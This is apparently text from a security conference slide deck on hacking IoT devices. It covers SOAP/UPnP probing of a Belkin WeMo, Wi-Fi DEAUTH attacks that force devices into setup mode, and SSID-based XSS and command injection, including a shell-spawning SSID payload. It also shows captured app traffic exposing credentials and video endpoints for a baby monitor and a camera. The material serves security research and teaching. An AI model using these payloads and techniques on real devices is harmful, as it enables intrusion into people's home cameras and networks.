  <serviceType>urn:Belkin:service:basicevent:1</serviceType>
  <serviceId>urn:Belkin:serviceId:basicevent1</serviceId>
  <controlURL>/upnp/control/basicevent1</controlURL>
  <eventSubURL>/upnp/event/basicevent1</eventSubURL>
  <SCPDURL>/eventservice.xml</SCPDURL>
</service>
```
SOAP Walkthrough
Reading the SCP Document

10.22.22.1:49152/eventservice.xml

Most Visited

<action>
  <action>
    <name>GetSmartDevInfo</name>
  </action>
</action>

action:
SOAP Walkthrough

Sending a Request

```bash
CAT="basicevent"
CTRLURL="/upnp/control/${CAT}:1"
SERVICE="urn:Belkin:service:${CAT}:1"
ACTION="GetSmartDevInfo"
cat > soap.tmp <<EOF
<?xml version="1.0" encoding="utf-8"?>
<Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <Body>
    <ACTION xmlns:u="$SERVICE"/>
  </Body>
</Envelope>
EOF
curl "http://10.22.22.1:49152$CTRLURL" -H "SOAPACTION: "$SERVICE#$ACTION"" -H "Content-Type: text/xml; charset="utf-8"" -d @soap.tmp
```
Finding SOAP/UPnP Vulnerabilities

Search with SSDP and grab XML

Try OS & SQLi

Look for unauth sensitive functions

- Download system config (including passwords)
- Change password, NAT rules, toggle services, etc
Miranda – Python based Universal Plug-N-Play client application

• Included in Kali: http://tools.kali.org/information-gathering/miranda
• Another tool from Craig Heffner

WSFuzzer – Older OWASP backed Python+Java based SOAP pen testing

• Available on SourceForge: https://sourceforge.net/projects/wsfuzzer/
• This is an older project which may not be well supported

UFuzz – Universal Plug and Fuzz is a Ruby based automated fuzzing tool

• Available on GitHub: https://github.com/phikshun/ufuzz
• This is *very* rough around the edges but when it works, it is an effective tool
802.11 Hacks
Overview of 802.11 Hacks

WiFi capabilities present some unique attack surface

Some useful tools include:

- Supported wireless adapter (Atheros AR9271, Ralink RT3070, Realtek RTL8187L)
- Aircrack-ng software suite (included in Kali)
- Powerful/directional antennae

Questions:

- What happens when the device loses its connection?
- Does the system properly sanitize content in SSID names and passphrases?
- Can the target be tricked onto a rogue network?
802.11 does not encrypt DEAUTH frames

- Upon receipt of a DEAUTH frame, clients should disassociate

A number of IoT devices use open Wi-Fi for OOBE

- Some devices will revert to this unconfigured mode during an outage

Aircrack-ng contains a tool for replaying DEAUTH frames

- This is most commonly used for capturing handshakes to crack
DEAUTH Attack Summary

Useful for products which can act as an AP for configuration

- Connected Outlets
- Wireless Cameras
- Home Automation (smart home hubs, thermostats, etc)

Flood the device with DEAUTH so that it thinks the network is down

- An alternative approach is to actually shutdown the real 802.11 network and see what happens

Some devices go into first time setup if there is no connection on start-up

- Try restarting the device while the DEAUTHs are being sent (sustain it for a few minutes)
- IRL someone may reboot a device when it loses its connection making this condition exploitable

If the device goes into configuration mode it is often game over

- Passwords are often disabled and a larger attack surface may be exposed
Network names (SSID) are limited to 32 bytes

- This is not a big payload but it can be enough for some things

Devices may display SSID values in a web interface

- Unsanitized values can lead to XSS (Pineapple WiFi used to have lots of SSID XSS)
- Depending on the situation, multiple SSIDs may be chained together to form a longer payload
- `<script src=?>` leaves 19 bytes available for payload URL

Devices may use SSID values directly in a command

- Connecting to SSID `$(utelnetd -l/bin/sh)` may yield a shell
- Be sure to test entry of hidden SSID values also
- Really bad designs may use SSIDs in a command while scanning (still waiting for this)
XSS by SSID Example
Several devices are known to pass the WPA2 key unsanitized into system(). This provides an excellent local bug for getting into a system.
Vizio TV Local Command Injection
WPA2 Passphrase Processed Without Sanitization

Picture from Avast
Rogue Networks

Devices don’t always validate the full connection profile

Force the device off its network and advertise a new open WiFi with SSID
Android Based Hacks
Apps know how to talk to devices

- Find hardcoded credentials
- Discover API endpoints
- Identify exposed ports and protocols

Studying an app is easier than RE a product
Sniffing Traffic

• “Packet Capture” – Quickly visualize app traffic
• “sslsniff” – Transparent proxy for advanced captures
• “tPacketCapture” – On device tcpdump like features

Reverse Engineering

• Apktool – Extract app resources and disasm to smali code
• Dex2JAR – Convert Android DEX to JAR files
Using Packet Capture

- Uses VPN API to capture without rooting
- Generates an SSL cert for MITM decryption
- Data is indexed by app and viewable on device
Packet Capture Example: Baby Monitor

<table>
<thead>
<tr>
<th>Time</th>
<th>Device</th>
<th>IP Address</th>
<th>Protocol</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>05:15 12:15:21</td>
<td>SummerWifi</td>
<td>10.0.1.41:80</td>
<td>TCP</td>
<td>483 B</td>
</tr>
<tr>
<td>05:15 12:16:39</td>
<td>SummerWifi</td>
<td>10.0.1.41:80</td>
<td>TCP</td>
<td>483 B</td>
</tr>
<tr>
<td>05:15 12:16:38</td>
<td>SummerWifi</td>
<td>10.0.1.41:80</td>
<td>TCP</td>
<td>483 B</td>
</tr>
<tr>
<td>05:15 12:16:37</td>
<td>SummerWifi</td>
<td>10.0.1.41:80</td>
<td>TCP</td>
<td>483 B</td>
</tr>
<tr>
<td>05:15 12:16:36</td>
<td>SummerWifi</td>
<td>10.0.1.41:80</td>
<td>TCP</td>
<td>483 B</td>
</tr>
<tr>
<td>05:15 12:16:35</td>
<td>SummerWifi</td>
<td>10.0.1.41:80</td>
<td>TCP</td>
<td>483 B</td>
</tr>
<tr>
<td>05:15 12:16:34</td>
<td>SummerWifi</td>
<td>10.0.1.41:80</td>
<td>TCP</td>
<td>483 B</td>
</tr>
</tbody>
</table>
Packet Capture Example: Baby Monitor

A Hardcoded Credential?

#1 --- 05-15 11:43:39

POST /apilog/ HTTP/1.1
Content-Length: 163
Content-Type: application/x-www-form-urlencoded
Host: serv.summerlinkwifi.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

Username=801d3R&Password=bUffAl0s&data=%5B%7B%22userGroup%22%3A%22216932%22%2C%22category%22%3A%22Setup%22%2C%22text%22%3A%22DeviceInfo%3ANexus+7%2C6.0.1%22%7D%5D

#2 --- 05-15 11:43:40

HTTP/1.1 200 OK
Date: Sun, 15 May 2016 15:43:41 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.4.45
Content-Disposition: attachment; filename="response.txt"
Content-Length: 31
Connection: close
Content-Type: application/text

#3 --- 05-15 11:43:40

{"data":"216932","code":"1000"}
## Packet Capture Example: Baby Monitor

### Product Usage Revealed

**GET /cgi-bin/camerastatus.cgi? HTTP/1.1**
Authorization: Basic U258cEFkbTu0IBUUNU0xMREFBRgc==
Host: 10.0.1.41
Connection: Keep-Alive

**HTTP/1.1 200 Ok**
Server: mini_httpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Encoding: <13>Jan 1 00:00:19 syslog: mini_httpd starting on (none
Content-Type: text/html
Connection: close

**{**

"MAC":"0c:c8:1f:11:4d:dd",
"temp":"23",
"motion_tracking":"0",
"viewers":"0"

**}**

---

**URL for device access**

**HTTP Authentication in use**

- Username/Password revealed

**WTF? syslog output in an HTTP header?**
RTSP is used for the video stream

Port 554

rtsp://ip:554/channel1
Packet Capture Example: Baby Monitor

Video Protocol Exposed

#5 ← 05-15 12:16:20

```text
SETUP rtsp://10.0.1.41/channel1/track1 RTSP/1.0
Transport: RTP/AVP/TCP;unicast;interleaved=0-1
CSeq: 3
User-Agent: Lavf56.36.100
```

#6 → 05-15 12:16:20

```text
RTSP/1.0 200 OK
CSeq: 3
Date: Sat, Jan 01 2000 00:06:13 GMT
Transport: RTP/AVP/TCP;unicast;destination=10.0.1.40;source=10.0.1.41;interleaved=0-1
Session: 2
```
Packet Capture Example: WeMo

What if you didn’t know how to SOAP?

#1 05:15:14:50:32

POST /app/central/timeSync HTTP/1.0
Content-Type: text/xml; charset="utf-8"
HOST: 10.22.22.1
Content-Length: 428
SOAPACTION: "urn:Belkin:service:timeSync:1#timeSync"
Connection: close

#2 05:15:14:50:32

<?xml version="1.0" encoding="utf-8"?>
   <s:Body>
       <TimeSync xmlns="urn:Belkin:service:timeSync:1">
           <UTC>1462838320</UTC>
           <TimeZone>-4</TimeZone>
           <DST></DST>
           <DSTSupported>1</DSTSupported>
       </u:TimeSync>
   </s:Body>
</s:Envelope>

#3 05:15:14:50:32

HTTP/1.0 200 OK
## Packet Capture Example: NetCam

**Credentials Exposed Via Android**

### #1 — 05:16 12:50:41

```
POST /gsform/gstApSitesInfo HTTP/1.1
Host: 10.68.68.22
Connection: keep-alive
Content-Length: 3
Authorization: Basic yArk4M0kY1Rt4d4=
Origin: http://10.68.68.22
User-Agent: VoilaH9.0 (Linux; Android 6.0.1; Nexus 7 Build/H8L29C; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.117 Safari/537.36
Accept-Version: 4.0
Content-Type: text/plain; charset=UTF-8
Accept: */*
Referer: http://10.68.68.22/apcam/for-android/aplist.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US
X-Requested-With: com.bellin.android.androidbelkinnetcam
```

```
n/a
```

### #2 — 05:16 12:50:41

```
HTTP/1.1 200 OK
Content-type: text/plain
Pragma: no-cache
Cache-Control: no-cache
```

### #3 — 05:16 12:50:41

```
CHANNEL:1
SSID:Netgear_Centria
MAC: 10:5d:7f:0b:31:s4
SECURITY:WPA2PSK/AES
SIGNAL:100
```
Packet Capture Example: NetCam

API Endpoint for Snapshot Collection
THANK YOU

CRAIG YOUNG - @CRAIGTWEETS